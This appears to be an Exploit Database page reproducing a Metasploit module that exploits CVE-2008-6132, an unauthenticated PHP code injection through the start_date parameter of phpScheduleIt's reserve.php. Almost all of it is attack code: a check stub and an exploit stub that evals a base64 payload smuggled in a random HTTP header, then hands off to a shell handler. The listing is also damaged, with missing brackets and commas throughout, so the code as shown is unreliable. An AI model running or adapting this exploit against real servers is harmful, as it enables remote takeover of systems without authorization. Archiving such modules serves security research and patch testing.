phpScheduleIt 1.2.10 – ‘reserve.php’ Arbitrary Code Injection (Metasploit)

Exploit Database
123 阅读

作者： Metasploit

日期： 2011-10-26
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/18037/

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# $Id: phpscheduleit_start_date.rb 14073 2011-10-26 18:06:12Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection',

'Description'=> %q{

This module exploits an arbitrary PHP code execution flaw in the phpScheduleIt

software. This vulnerability is only exploitable when the magic_quotes_gpc PHP

option is 'off'. Authentication is not required to exploit the bug.

Version 1.2.10 and earlier of phpScheduleIt are affected.

'Author' =>

[

'EgiX',# Vulnerability Discovery and Exploit

'juan vazquez' # Metasploit module

'License'=> BSD_LICENSE,

'Version'=> '$Revision: 14073 $',

'References' =>

[

['CVE', '2008-6132'],

['OSVDB', '48797'],

['BID', '31520'],

['URL', 'http://www.exploit-db.com/exploits/6646/'],

'Privileged' => false,

'Platform' => ['php'],

'Arch' => ARCH_PHP,

'Payload'=>

{

# max header length for Apache,

# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize

'Space' => 8190,

'DisableNops' => true,

'Keys'=> ['php'],

'Targets'=> [ ['Automatic', { }] ],

'DefaultTarget' => 0,

'DisclosureDate' => 'Oct 1 2008'))

register_options(

[

OptString.new('URI', [ true,"The full URI path to phpScheduleIt", '/phpscheduleit']),

], self.class)

end

def check

signature = rand_text_alpha(rand(10)+10)

stub = "1').${print('#{signature}')}.${die};#"

my_payload = "btnSubmit=1&start_date=#{stub}"

if datastore['URI'][-1, 1] == "/"

uri = datastore['URI'] + "reserve.php"

else

uri = datastore['URI'] + "/reserve.php"

end

print_status("Checking uri #{uri}")

response = send_request_cgi({

'method' => "POST",

'global' => true,

'uri' => uri,

'headers' => {

'Referer' => uri,

'data' => "#{my_payload}"

})

if response.code == 200 and response.body =~ /#{signature}/

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)

stub = "1').${error_reporting(0)}.${eval(base64_decode($_SERVER[HTTP_#{headername.gsub("-", "_")}]))};#"

my_payload = "btnSubmit=1&start_date=#{stub}"

if datastore['URI'][-1, 1] == "/"

uri = datastore['URI'] + "reserve.php"

else

uri = datastore['URI'] + "/reserve.php"

end

print_status("Sending request for: #{uri}")

print_status("Payload embedded in header: #{headername}")

response = send_request_cgi({

'method' => "POST",

'global' => true,

'uri' => uri,

'headers' => {

headername=> Rex::Text.encode_base64(payload.encoded),

'Referer' => uri

'data' => "#{my_payload}"

}, 3)

if response and response.code != 200

print_error("Server returned a non-200 status code: (#{response.code})")

end

handler

end